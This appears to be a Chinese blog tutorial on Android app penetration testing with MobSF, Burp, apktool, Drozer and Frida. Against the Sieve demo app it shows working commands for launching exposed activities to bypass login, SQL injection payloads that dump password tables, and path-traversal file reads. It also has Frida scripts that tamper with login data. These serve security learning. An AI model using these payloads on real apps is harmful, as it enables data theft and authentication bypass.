当前位置:   article > 正文

APP安全学习_mobsf动态分析

mobsf动态分析

img

全局扫描

mobsf

安装要求

安装

git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
setup.bat
  • 1
  • 2
  • 3

记得访问然后改host文件

https://ipaddress.com/website/raw.githubusercontent.com
  • 1

启动

run.bat
localhost:8000
  • 1
  • 2

服务端APP测试

夜神模拟器

多个Android 版本(有些APP可能不兼容)

image-20211230184700252

首先确保和电脑同一网段(能够互通),然后去设置代理

设置-WiFi-长按WiFi名字-修改网络 设置代理为手动
代理服务器主机名为burp的IP地址(也就是本机的) ,端口为监听端口

image-20211230185619711

burp配置

image-20211230185728063

在burp上就可以接收到模拟器上的流量了

模拟器中打开浏览器地址栏输入http://burp,右上角下载证书

image-20211230194255959

打开Amaze左边最近访问文件找到刚刚那个文件重命名后缀为.cer

image-20211230194735936

我这里改不掉,只能通过文件助手找到共享目录然后修改后缀名

image-20211230195002073

image-20211230194406185------退回首页------设置------安全------从SD卡安装------找到刚刚那个.cer文件------然后安装即可,名字随便,完美

image-20211230195028331

然后回到主页-设置-安全-从sd卡安装,找到cer文件然后安装

image-20211230195150462

安装完成可以收到流量包了

但是模拟器会有一致证书错误的问题,在浏览器右上角点开设置

image-20211230195611459

隐私与安全-显示安全警告关闭再返回就一切正常了

image-20211230195658683

真机

电脑开启热点,然后手机连上

image-20211230193510460

设置代理为上面ip的网关(我这里是.1 ->192.168.137.202)

保存之后,先用电脑访问指定ip端口下载证书

image-20211230193639390

将证书后缀名改为.cer,传输到手机上

image-20211230192444533

安装即可

客户端APP测试

静态测试

资源文件获取

可以提取出图片文件和布局文件进行使用查看,主要查看res文件下xml文件、AndroidManifest.xml和图片。

APKtools
https://ibotpeaches.github.io/Apktool/install/
  • 1

windows配置过程(其实也就是环境变量)

首先将bat文件下载到指定目录

image-20220105133032208

image-20220105132940827

然后将jar文件下载到指定目录

https://bitbucket.org/iBotPeaches/apktool/downloads/
  • 1

然后为指定目录配置环境变量

image-20220105133229272

然后命令行就可以执行apktool了

image-20220105133258784

使用方法
  • 输入 apktool d 123.apk

    • d 代表解码(反编译)该123.APK
  • 输入 apktool b 123 -o 111.apk

    • b 代表把当前反编译出来的123文件重建(重打包)成111.apk
      • apk重打包后需要重新进行签名

image-20220105143307843

apk反编译->java源码

dex2jar

将classes.dex转化成jar文件

使用

将APK直接解压(修改后缀名为.zip,然后解压)后,可以看到目录下包含一个classes.dex文件。

如下图所示,而我们的源码就在这个classes.dex 文件中。

image-20220105143948524

然后放入d2j-dex2jar目录下

.\d2j-dex2jar.bat classes.dex
  • 1

image-20220105145034777

会得到classes-dex2jar.jar文件

java源码逆向

jd-gui

查看jar文件进行漏洞分析

jeb,jadx

更加直接获取

解包全局找http,当web来打

全局扫描可以用mobsf,组件等测试使用的drozer(mobsf动态扫描也可以但是结果不太准确),hook使用的是XposedBridge和frida。以上是个人经验

动态测试

四大组件

Activity

Activity是Android组件中最基本也是最为常见用的四大组件之一。

Activity是一个应用程序组件,提供一个屏幕,用户可以用来交互为了完成某项任务。

Activity中所有操作都与用户密切相关,是一个负责与用户交互的组件,可以通过setContentView(View)来显示指定控件。

在一个android应用中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。Activity之间通过Intent进行通信。

Service

Service 也是Android 四大组件之一,有着非常重要的作用。

Service 被设计为在后台长时间执行而不需要提供页面的任务。

Service有两种启动方式,startService与bindService

content provider

(1)android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。
(2)只有需要在多个应用程序间共享数据是才需要内容提供者。例如,通讯录数据被多个应用程序使用,且必须存储在一个内容提供者中。它的好处是统一数据访问方式。
(3)ContentProvider实现数据共享。ContentProvider用于保存和获取数据,并使其对所有应用程序可见。这是不同应用程序间共享数据的唯一方式,因为android没有提供所有应用共同访问的公共存储区。
(4)开发人员不会直接使用ContentProvider类的对象,大多数是通过ContentResolver对象实现对ContentProvider的操作。

(5)ContentProvider使用URI来唯一标识其数据集,这里的URI以content://作为前缀,表示该数据由ContentProvider来管理。

BroadcastReceiver

在Android中,广播是一种广泛运用的在应用程序之间传输信息的机制。而广播接收器是对发送出来的广播进行过滤接受并响应的一类组件。可以使用广播接收器来让应用对一个外部时间做出响应。例如,当电话呼入这个外部事件到来时,可以利用广播接收器进行处理。当下载一个程序成功完成时,仍然可以利用广播接收器进行处理。广播接收器不NotificationManager来通知用户这些事情发生了。广播接收器既可以在AndroidManifest.xml中注册,也可以在运行时的代码中使用Context.registerReceive()进行注册。只要是注册了,当事件来临时,即使程序没有启动,系统也在需要的时候启动程序。各种应用还可以通过使用Context.sendBroadcast()将它们自己的Intent广播给其他应用程序。

组件测试-Drozer

Drozer是一款领先的Android安全测试框架

https://labs.f-secure.com/tools/drozer/
  • 1
环境及工具安装

运行Drozer需要java环境、python27环境、adb调试工具、真实手机、夜神安卓模拟器、Drozer-2.4.4、drozer-agent-2.3.4。

操作系统:Windows10专业版

JAVA环境:jdk1.8.0_241

Python环境:Python 2.7.17

adb即安卓调试桥,是一个命令行窗口工具,用于PC端与安卓设备进行交互,官网下载安装包和Android通用驱动,一键安装,配置环境变量。

https://adbshell.com/downloads
  • 1

添加好Path环境变量,命令行测试

在这里插入图片描述

4、Drozer安装

首先从官网下载电脑端drozer和手机端安装包

官网:https://labs.f-secure.com/tools/drozer/
  • 1

打开msi文件直接安装,再安装过程中会遇到设置运行环境的问题,因为检测到的环境是python3,所以要手动指定python 2.7环境,一路next即可。

5、Drozer-agent安装

这里夜神模拟器直接指定即可

adb登录设备

一般adb devices即可

image-20220214141252801

如果无法连接,可以尝试重启模拟器

或者找到NoxVMHandle.exe对应的PID,这里是2608,再根据此PID查找模拟器和电脑连接的TCP端口,并找到127.0.0.1:62xxx的地址。

tasklist | findstr "Nox"  --查看任务列表
netstat -ano | findstr PID    --显示此PID的网络连接情况
adb connect 127.0.0.1:62001
  • 1
  • 2
  • 3

image-20220214141550204

image-20220214141540981

adb shell
  • 1

tips:这里为什么adb老是重连是因为nox自带adb,将自己adb覆盖掉nox/bin下的adb.exe和nox_adb.exe即可

Drozer连接手机

首先配置drozer agent

image-20220214141722158

开启

image-20220214141745395

开始连接,drozer Server默认监听端口为31415,同样需要与主机上的31415端口进行通信。

adb forward tcp:31415 tcp:31415
--端口转发
  • 1
  • 2

启动drozer

drozer console connect
  • 1

image-20220214145247822

实战演练

测试app可从drozer官网下载得到

1、安装测试app

image-20220214151807454

2、打开app根据提示为其设置一些信息,以供后期使用(这里密码最小16位,不能含有特殊字符,PIN码和其他信息随便填)

密码:qwertyuiopasdfghjkl,pin:1229

new password

service:test
username:lyy
email:2000083869@qq.com
password:123456
  • 1
  • 2
  • 3
  • 4

3.首先获取Android设备里的指定app

run app.package.list -f sieve
  • 1

会乱码,所以需要修改中的drozer\modules\app\package.py开头加上

import sys
reload(sys)
sys.setdefaultencoding('utf-8')
  • 1
  • 2
  • 3

image-20220214153349152

再次运行

image-20220214153603254

4、获取一下该应用的基本信息,可以看到该APP的安装路径及数据目录

run app.package.info -a 包名
run app.package.info -a com.mwr.example.sieve
  • 1
  • 2

image-20220214153638707

5、接下来看看该app是否有暴露的组件攻击面,组件暴露可能导致敏感信息泄露、拒绝服务、权限提升绕过,界面劫持、远程代码执行等安全漏洞

run app.package.attacksurface 包名
run app.package.attacksurface com.mwr.example.sieve
  • 1
  • 2

image-20220214153728821

根据测试的返回信息可以看出暴露了3个activity组件,2个provisers组件,2个services组件,并且可被调试。

6、对暴露的activity组件进行攻击,可以显示一些控件也可以监听并处理用户的事件做出响应。暴露的activity意味着可以被导出,可以分析是否存在数据泄露。

run app.activity.info -a 包名
run app.activity.info -a com.mwr.example.sieve
  • 1
  • 2

image-20220214153935726

返回了三个组件信息,第一个应该是跟文件有关系,第二个应该是和登录有关系,第三个应该是和密码相关,那activity组件暴露意味着是否存在越权漏洞,绕过前端登录,一个个给他试试。

7、启动暴露的组件信息

启动一次需要重启adb一次?,且需要开着app

run app.activity.start -–component 包名 组件名
run app.activity.start -–component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
run app.activity.start -–component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
  • 1
  • 2
  • 3
  • 4

8、再测一下Content Provider组件,获取一下它的信息,可以获取到该app还和哪些应用程序有交互,使它指定的一些数据集提供给其他应用程序。那这里可以看到应该是有一些数据库交互,文件备份之类的信息。

run app.provider.info -a 包名
run app.provider.info -a  com.mwr.example.sieve
  • 1
  • 2

image-20220214185950468

9、一个应用,肯定是有URI(统一资源标志符),用于指向一个资源的字符串,可以是指向本地,也可以是指向互联网,URL一定是URI,但URI不一定是URL。获取一下该app可以访问的URI:

run scanner.provider.finduris -a com.mwr.example.sieve
  • 1

image-20220214190030249

那这个信息就很敏感了

10、访问一下URI所指向的资源

run app.provider.query 查询到的URI
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
  • 1
  • 2

image-20220214190133717

11、对可以访问的URI进行SQL注入,来,试一下获取个人信息这个库所有的表。

run app.provider.query 查询到的URI --projection "* FROM SQLITE_MASTER WHERE type='table';--"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
  • 1
  • 2

image-20220214200428273

12、获取一下Passwords和Key这两个表的数据,成功的通过SQL注入获取信息。当然,可以对这些可访问的URI尝试进行操作,如果在注入的过程中报错的话,那就存在SQL注入漏洞。

run app.provider.query URI --projection "* FROM 表名;--"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Passwords;--"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
  • 1
  • 2
  • 3

image-20220214200524685

13、当然也可以用模块进行批量的检测哪些URI存在SQL注入漏洞,可以看到很多的SQL注入漏洞,一个个试一下。

run scanner.provider.injection -a com.mwr.example.sieve
  • 1

image-20220214200601224

14、检测一下是否存在目录遍历漏洞,目录遍历可造成网站信息可被任意访问,敏感数据泄露,扫描到这么多呢。

run scanner.provider.traversal -a com.mwr.example.sieve
  • 1

image-20220214200629464

15、由于Android基于Linux内核开发,那利用这个目录遍历漏洞查看一下hosts文件吧。

run app.provider.read 遍历路径/文件路径
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
  • 1
  • 2

image-20220214200921403

16、那顺便再把它的数据库也给下载下来,也算是要结束了。

run app.provider.download 数据库URI 本地路径/备份文件名.db
run app.provider.download 数据库URI 本地路径/备份文件名.db
  • 1
  • 2

hook-frida(签名算法解决)

Frida是一款基于Python + JavaScript 的hook框架,本质是一种动态插桩技术,可以插入一些代码到原生app的内存空间去(动态地监视和修改其行为)。其使用了C-S模型,利用Frida内核和谷歌V8引擎hook进程。可以轻松实现WindowsLinuxAndroidIOSMac平台的动态插桩需求,单从Android层面理解,它可以实现Java层和NativeHook操作。

Frida分为客户端和服务端,客户端通过Python代码将需要被注入的JS代码提交到服务端,然后接受服务端消息;服务端接受JS代码并将其注入到目标进程中,操作内存空间然后给客户端发送消息。

Hook原理

Hook的本质就是劫持函数调用。由于处于Linux用户态,每个进程都有自己独立的进程空间,所以必须先注入到所要Hook的进程空间,修改其内存中的进程代码,替换其过程表的符号地址。在Android中一般是通过ptrace函数附加进程,然后向远程进程注入so库,从而达到监控以及远程进程关键函数挂钩。

一般Frida逆向三阶段:

  1. 阶段一.分析程序执行逻辑,函数参数,函数返回值
  2. 阶段二.在1的基础上对数据进行修改,执行流程的控制,核心方法的调用
  3. 阶段三.在2的基础上实现对核心方法的封装调用,提供对外服务接口
安装

frida

python3 -m pip install frida-tools
  • 1

image-20220215093951429

frida-server

要和frida对应

https://github.com/frida/frida/releases
  • 1

安卓手机架构

adb shell getprop ro.product.cpu.abi  
  • 1

给与权限然后运行

adb push frida-server-15.1.17-android-arm /data/local/tmp
adb shell
chmod 755 /data/local/tmp/frida-server-15.1.17-android-x86
./frida-server-14.2.18-android-arm
/data/local/tmp/frida-server-15.1.17-android-x86
  • 1
  • 2
  • 3
  • 4
  • 5

端口映射

adb forward tcp:27042 tcp:27042
adb forward tcp:27043 tcp:27043
  • 1
  • 2

查看进程,成功即可

frida-ps -U
  • 1

image-20220215095743380

frida对指定方法进行trace
frida-ps -U | grep frida 
frida-trace -i "open" -U "cn.gemini.k.fridatest"
  • 1
  • 2

用的比较多都是frida帮我们生成好了hook代码,直接拿来使用就行,简单方便,但有时候我们想自己定制些功能怎么办?

编写js进行hook

接下来看下如何通过编写js代码来实现对安卓APP中某些方法的hook。
在hook之前首先要熟悉我们需要hook的目标方法,应用包名,参数等基础信息。这里简单写了个demo,后面我们都通过这个demo来学习。

package com.example.frida;

import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
public class MainActivity extends AppCompatActivity {
    private String total = "@@@###@@@";
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        while (true){

            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }

            fun(50,30);
            Log.d("Minhal.string" , fun("Fuck U!!!!!!!!!"));
        }

    }
    void fun(int x , int y ){
        Log.d("Minhal.Sum" , String.valueOf(x+y));
    }
    String fun(String x){
        total +=x;
        return x.toLowerCase();
    }

    String secret(){
        return total;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37

整理一下hook时需要的信息:
目标应用的包名:“cn.gemini.k.fridatest”(一般在AndroidManifest.xml文件中可以找到)
目标方法所在类的类名:“cn.gemini.k.fridatest.FridaHook1”;
最后是目标方法名和参数:public int func1_add(int a,int b)
没有源码的情况下这些信息都可以通过反编译工具jadx或jeb获取。

hook参数、修改结果(重载、隐藏函数的处理)

接下来开始编写hook代码,首先是python文件

import time
import frida

# 连接安卓机上的frida-server
device = frida.get_usb_device(10)
# 启动`demo02`这个app
pid = device.spawn(["com.example.frida"])
device.resume(pid)#通过pid重新启动
time.sleep(1)
session = device.attach(pid)
# 加载1.js脚本
with open("1.js") as f:
    script = session.create_script(f.read())#上一步连接到的session 去执行js
script.load()

# 脚本会持续运行等待输入
input()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

1.js脚本内容

console.log("Script loaded successfully ");
Java.perform(function x() {
    console.log("Inside java perform function");
    //定位类
    console.log("begin");
    Java.choose("com.example.frida.MainActivity" , {
    onMatch : function(instance){ //该类有多少个实例,该回调就会被触发多少次
        console.log("Found instance: "+instance);
        console.log("Result of secret func: " + instance.secret());
    },
    onComplete:function(){}
    });
    console.log("end");
    var my_class = Java.use("com.example.frida.MainActivity");
    var string_class = Java.use("java.lang.String"); //获取String类型
    console.log("Java.Use.Successfully!");//定位类成功!
    //在这里更改类的方法的实现(implementation)
    my_class.fun.overload("int" , "int").implementation = function(x,y){
        //打印替换前的参数
        console.log( "original call: fun("+ x + ", " + y + ")");
        //把参数替换成2和5,依旧调用原函数
        var ret_value = this.fun(2, 5);
        return ret_value;
    }
    my_class.fun.overload("java.lang.String").implementation = function(x){
        console.log("*************************************");
        var my_string = string_class.$new("lyyy"); //new一个新字符串
        console.log("Original arg: " +x );
        var ret =  this.fun(my_string); // 用新的参数替换旧的参数,然后调用原函数获取结果
        console.log("Return value: "+ret);
        console.log("*************************************");
        return ret;
      };
    });

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35

执行python脚本,这里需要提前启动frida-server

adb shell
/data/local/tmp/frida-server-15.1.17-android-x86
  • 1
  • 2

这里成功将参数以及返回结果修改为lyyy

远程调用

这个实例主要是实现在py脚本中也可以调用secret函数。这里主要是使用的frida提供的RPC功能(Remote Procedure Call)

apk文件还是上一个样例的文件。

现在修改下js脚本。

console.log("Script loaded successfully ");
function callsecretFun(){
    Java.perform(function x() {
        console.log("Inside java perform function");
        //定位类
        console.log("begin");
        Java.choose("com.example.frida.MainActivity" , {
        onMatch : function(instance){ //该类有多少个实例,该回调就会被触发多少次
            console.log("Found instance: "+instance);
            console.log("Result of secret func: " + instance.secret());
        },
        onComplete:function(){}
        });
        console.log("end");
        
       
    });
}
rpc.exports = {
    callsecretfunction:callsecretFun//把callSecretFun函数导出为callsecretfunction符号,导出名不可以有大写字母或者下划线
};

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

对应python

import time
import frida

# 连接安卓机上的frida-server
device = frida.get_usb_device(10)
# 启动`demo02`这个app
pid = device.spawn(["com.example.frida"])
device.resume(pid)
time.sleep(1)
session = device.attach(pid)
# 加载s1.js脚本
with open("2.js") as f:
    script = session.create_script(f.read())
script.load()

command = ""
while 1 == 1:
    command = input("Enter command:\n1: Exit\n2: Call secret function\nchoice:")
    if command == "1":
        break
    elif command == "2": #在这里调用
        script.exports.callsecretfunction()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

成功的调用了secret函数

image-20220221142111489

打印了@@@###@@@

动态修改

这里主要实现的功能不仅仅是可以用python调用app的函数。还要做到把数据从app传到python程序中,通过python代码修改传回到app里。
app代码:

import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Base64;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity {
    EditText username_et;
    EditText password_et;
    TextView message_tv;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        password_et = (EditText) this.findViewById(R.id.editText2);
        username_et = (EditText) this.findViewById(R.id.editText);
        message_tv = ((TextView) findViewById(R.id.textView));

        this.findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {

                if (username_et.getText().toString().compareTo("admin") == 0) {
                    message_tv.setText("You cannot login as admin");
                    return;
                }
                //hook target
                message_tv.setText("Sending to the server :" + Base64.encodeToString((username_et.getText().toString() + ":" + password_et.getText().toString()).getBytes(), Base64.DEFAULT));

            }
        });

    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36

activity_main.xml文件

1.id要对应

2.页面挤压时用

image-20220221145650913

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">

    <Button
        android:id="@+id/button"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginStart="4dp"
        android:layout_marginTop="55dp"
        android:text="login"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextTextPersonName2" />

    <EditText
        android:id="@+id/editTextTextPersonName"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginStart="10dp"
        android:layout_marginTop="150dp"
        android:layout_marginBottom="150dp"
        android:ems="10"
        android:inputType="textPersonName"
        android:text="Name"
        app:layout_constraintBottom_toBottomOf="@+id/editTextTextPersonName2"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent" />

    <EditText
        android:id="@+id/editTextTextPersonName2"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginStart="10dp"
        android:layout_marginTop="300dp"
        android:ems="10"
        android:inputType="textPersonName"
        android:text="passowrd"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent" />

    <TextView
        android:id="@+id/textView3"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginStart="4dp"
        android:layout_marginTop="16dp"
        android:text="adminmanager"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54

接下来操作是python代码获取输入内容,并修改输入内容然后传输到app,通过验证。(包括admin)
js代码主要实现是先截到输入内容,传输到python代码,然后等python传入新数据继续执行。
js代码

console.log("Script loaded successfully ");

Java.perform(function () {
    var tv_class = Java.use("android.widget.textView3");
    tv_class.setText.overload("java.lang.CharSequence").implementation = function (x) {
        var string_to_send = x.toString();
        var string_to_recv;
        console.log("Script loaded successfully ");
        send(string_to_send); // 将数据发送给python的python代码
        recv(function (received_json_object) {
            string_to_recv = received_json_object.my_data
            console.log("string_to_recv: " + string_to_recv);
        }).wait(); //收到数据之后,再执行下去
        var my_string = Java.use("java.lang.String").$new(string_to_recv);
        this.setText(my_string);
    }
});
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

python代码

import time
import frida
import base64
def my_message_handler(message, payload):
    print(message)
    print(payload)
    if message["type"] == "send":
        print (message["payload"])
        data = message["payload"].split(":")[1].strip()
        print(data)
        print ('message:', message)
        data = str(base64.b64decode(data))
        user,pw = data.split(":")
        print("user:",user)
        data =str(base64.b64encode(("admin" + ":" + pw).encode()))
        print ("encoded data:", data)
        script.post({"my_data": data})  # 将JSON对象发送回去
        print ("Modified data sent")


# 连接安卓机上的frida-server
device = frida.get_usb_device(10)
# 启动`demo02`这个app
pid = device.spawn(["com.example.frida"])
device.resume(pid)
time.sleep(1)
session = device.attach(pid)
# 加载a.js脚本
with open("3.js") as f:
    script = session.create_script(f.read())
script.on("message", my_message_handler)
script.load()
input()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

直接运行python代码,然后输入新的用户名和密码,我们原程序是本来不可以输入admin的,我们本代码就是通过输入其他内容,通过frida更改他的用户名参数,使得输入内容用户名为admin。
执行结果如下:

image-20220221153423999

就是绕过了if语句提交了用户名为admin的post请求

if (username_et.getText().toString().compareTo("admin") == 0) {
                    message_tv.setText("You cannot login as admin");
                    return;
                }
  • 1
  • 2
  • 3
  • 4

实现了动态内容的修改

objection-frida_api调用

python3 -m pip install  objection
  • 1
1.1 获取基本信息

首先介绍几个基本操作:

  • 键入命令之后,回车执行;
  • help:不知道当前命令的效果是什么,在当前命令前加help比如,help env,回车之后会出现当前命令的解释信息;
  • 按空格:不知道输入什么就按空格,会有提示出来,上下选择之后再按空格选中,又会有新的提示出来;
  • jobs:作业系统很好用,建议一定要掌握,可以同时运行多项(hook)作业;

我们以安卓内置应用“设置”为例,来示范一下基本的用法。

在手机上启动frida-server,并且点击启动“设置”图标,手机进入设置的界面,首先查看一下“设置”应用的包名。

frida-ps -U
  • 1

再使用objection注入“设置”应用。

objection -g com.android.settings explore
  • 1

启动objection之后,会出现提示它的logo,这时候不知道输入啥命令的话,可以按下空格,有提示的命令及其功能出来;再按空格选中,又会有新的提示命令出来,这时候按回车就可以执行该命令

image-20220221162046827

1.2 提取内存信息
  • 查看内存中加载的库

运行命令memory list modules

image-20220221162127128

  • 查看库的导出函数

运行命令memory list exports libssl.so

image-20220221162227506

  • 将结果保存到json文件中

当结果太多,终端无法全部显示的时候,可以将结果导出到文件中,然后使用其他软件查看内容

# memory list exports libart.so --json /root/libart.json  
Writing exports as json to /root/libart.json...
Wrote exports to: /root/libart.json
  • 1
  • 2
  • 3
  • 提取整个(或部分)内存

命令是memory dump all from_base,这部分内容与下文脱壳部分有重叠,我们在脱壳部分介绍用法。

  • 搜索整个内存

命令是memory search --string --offsets-only,这部分也与下文脱壳部分有重叠,我们在脱壳部分详细介绍用法。

Android APP开发

下载

https://developer.android.com/studio
  • 1

将代码放入MainActivity

且用adb连接上模拟器之后run即可

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/460908
推荐阅读
相关标签
  

闽ICP备14008679号